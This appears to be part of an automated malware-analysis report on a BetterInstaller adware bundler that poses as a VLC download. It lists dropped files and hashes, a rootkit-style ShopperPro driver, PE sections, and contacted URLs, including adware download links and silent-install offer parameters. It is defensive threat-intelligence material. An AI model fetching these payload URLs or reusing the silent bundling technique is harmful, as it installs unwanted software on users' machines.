f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
9d83a68bb43271cf8834bc3ac46f641e	c:\Program Files\Common Files\ShopperPro\spbia.exe
de0853906a545bfbaff568a8b3a1ddc9	c:\Program Files\Common Files\ShopperPro\spbici32.dll
644799235be6990eee833d2b35529bf2	c:\Program Files\Common Files\ShopperPro\spbici64.dll
c748b0f634438bc1bb830653632b8592	c:\Program Files\Common Files\ShopperPro\spbii32.exe
201b7eff82886d8981eabf91ab56634e	c:\Program Files\Common Files\ShopperPro\spbii64.exe
faf6ab23695222f55c6eb08cb094e151	c:\Program Files\Common Files\ShopperPro\spbiu.exe
feda52f93ab17b2c8887187bded3646b	c:\Program Files\Common Files\ShopperPro\spbiw.sys
c9ffde1bca23344b521061ca2321dd33	c:\ProgramData\ShopperPro\ShopperPro.dll
2c9ca48fb10600cb673eb890eaea6270	c:\ProgramData\ShopperPro\ShopperPro64.dll
c9ffde1bca23344b521061ca2321dd33	c:\Users\All Users\ShopperPro\ShopperPro.dll
2c9ca48fb10600cb673eb890eaea6270	c:\Users\All Users\ShopperPro\ShopperPro64.dll
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
a6e96df3c060f4dabbd7c2818674b169	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13315\ins_postInst.exe
a6e96df3c060f4dabbd7c2818674b169	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_15393\ins_postInst.exe
e0ab12b8220ee2dfc71f42e81f5ed7e1	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe
cd2612c640cc2b53cce51ee7e456bff5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp
a6e96df3c060f4dabbd7c2818674b169	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_yta.exe
8636e548ab5cfbeb08cf75949dcd0a42	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_32428\shopperpro.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
92c732231b7909edeff180174c6ef499	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsProcess.dll
5bb596e1d918ce55ecadc1476eb5ec8f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsProcess.dll
9332f704dd433031c68f3c9be63715d5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
69d2894206516657b7a06eeea5b917e5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe
e07bdfec75dbb57bbb462887b2fec24d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 2.1.0.0 File Description: Powered by BetterInstaller Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 796 3fe02ef6a2ede61ce4dac40da7715dcd 2dfade89368b6de33f6a0be79203795a f17c45801a57bba4b005ec384a441bd9 ef16605e62d299cd4043233eed25bb98 2c99e41b345ddc8664db772a2e09f5a4 b622b02e97d3aa7cce467ccc7aee497d f216e08c21a059a5332cb453736239c1 edbdc1240b868319cb87020396a2902b 2e390f465d8ecd1f67effb5eaf5d5aa7 4371a8a2baf5c745419dab3ef6778408 39c10005050c097876cd502d9c199a98 f7f7c90ea56c412b57acb7a97b768a60 a842781804dd193d92651195498cf38d 62b3b330eec1cc89e42dec1a05bb40c1 6fc8e8c2bc2c846f782044f2c2c7d5d6 24aa6f4a1bb067fd634e81a1ed0a230d 465596894850c9d20a1329423f99c5ad d9f6b0d5a1cc2d7203eaa0a17bb360b5 4626edaeccfd321bc891ab7a4ae942b7 54d328632b212c35d10658a3cddaba7d 803a105ec85c61ff44bd792f6b8a96ee c7f8e510962c4ed152facd2cc2006dab b9433a9a1bc3c3792bf814b730486b5f 2e2053eac524671b3b85a6907d6435d0 a26b917d23f8365ee63a91bb307ec4ad

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d26eh3hrk8d78y.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.47.212
hxxp://d230jbvc0l4zpn.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.46.34
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d26eh3hrk8d78y.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.192.47.212
hxxp://d230jbvc0l4zpn.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.46.34
hxxp://d26eh3hrk8d78y.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.192.47.212
hxxp://d230jbvc0l4zpn.cloudfront.net/affiliates/filesfrog/eula.html	54.230.46.34
hxxp://d230jbvc0l4zpn.cloudfront.net//images/Tokyo/tokyo_default_logo.png	54.230.46.34
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://mirror.frogdownload.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=365887790&utmhn=bi.bisrv.com&utmhid=806690500&utmr=-&utmp=Installer_Init&utmht=1418834552176&utmac=UA-31676879-1&utmcc=__utma=1.61869844.1418834552.1418834552.1418834552.1;+__utmz=1.1418834552.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1351923141&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=1&index_in_screen=1&index_in_session=1&0.01999434592486038
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&display_height=185&0.4803534880991893
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&0.33808702165770854
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.43184037303389655
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&0.36827897577138213
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.21850779859180952
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&0.5490219917272924
hxxp://installer.betterinstaller.com/downloader/network_xrwc_1/vlcmediaplayerdmot/f5dab3d74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5dab3d74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c42aebeb52f4eabf469c6ed8ad1c0&uid=f5dab3d74e316e46a59f4bd1d5099978&tokyo_csrf_key=ce0f2239cc145e806f12d03997a27d96&tokyo_csrf_timestamp=1418834601&ffInstalled=false&dfz=false&affid=network_xrwc_1&sid=vlcmediaplayerdmot&country=UA&hostBrowser=ff&unique_id=61c1e9ce078e3e20f171532f2a80443c
hxxp://installer.betterinstaller.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c42aebeb52f4eabf469c6ed8ad1c0&uid=49e8eb8101569a41ad990f2a534d0e40&tokyo_csrf_key=f1fa52a5e2c93c37e2acc851005f1d81&tokyo_csrf_timestamp=1418834601&ffInstalled=false&dfz=false&affid=network_xrwc_1&sid=vlcmediaplayerdmot&country=UA&hostBrowser=ff&unique_id=61c1e9ce078e3e20f171532f2a80443c
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.5490156631942105
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.8512605859148192
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.6896073372665273
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.6627786594052993
hxxp://d8cw79dqwvsmr.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.46.15
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.45.186
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://www.girlwurina.com/home/smt_mystartsearch.exe	208.43.230.96
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=j7YMo/n29XMqqDJt46TNcYcg35BtfIaeXAxlnwpFmKiMDmRWpWBZ0CAvELRpepitKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG4u3oGHN86wPQVtpqSKGA7U/Xst3NHAatxLLCQXXwGXzCAftlZERRx7H1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.230.45.148
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=QgW8pN5r26ZQhScA1jb3T2MP/OAATTWT7OXLse4BafQHqUQ0J3/4E0jq2IY Ol30jd3g87edDM9msgsrym2SF9aoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	54.192.47.35
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=j32vo1XGv6uHIN QbXyGnj/v41o1unlfX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oV0vxtxEGal9Ni340mj7fe/j3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsx0eh4F9DwOE1qgTPL7jymlmOBGPzlFJYmLARt95W016n0AYcuk831211lzThcc0Tl2VBJ1SPYY3KMGLTconNu2dEJI5oTUBpWVRco3oPUOjmPLagMtARkbqlRkY0nvgbpDjaFK0VDecgDp9jqmCJIP0Ec9EnFgpr7dH4ZXDn09dBnzfFt7rO4TR6uovnzT3dxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYF0J g6HDUCa6ysA rfm9WU=	54.192.47.53
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=j7YMo/n29XMqqDJt46TNcYcg35BtfIaeXAxlnwpFmKiMDmRWpWBZ0CAvELRpepitKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG4u3oGHN86wMFedaS6HkvNpR90anDedSCUX3PRbKmecay2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p FstCSC6lz279ASWoaOf2n0JQd5HxgIXeyn41YjZwiWwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p8WSLCRTqxWxi4tAgI dBfRKYX3Ti/i3YPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmpfKN5cOwkwmqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw==	54.230.45.148
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.673346413233777
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/b8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqmoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUmu70Zn8oNJ1F18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH RaqEz5fUGu62n	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p97T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLJdrvut0vueXn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC4Xwql6nKegU	54.230.45.148
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe	54.192.47.34
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p p3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9DLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz	54.230.45.148
hxxp://d3ddmpeszwup8l.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.192.47.58
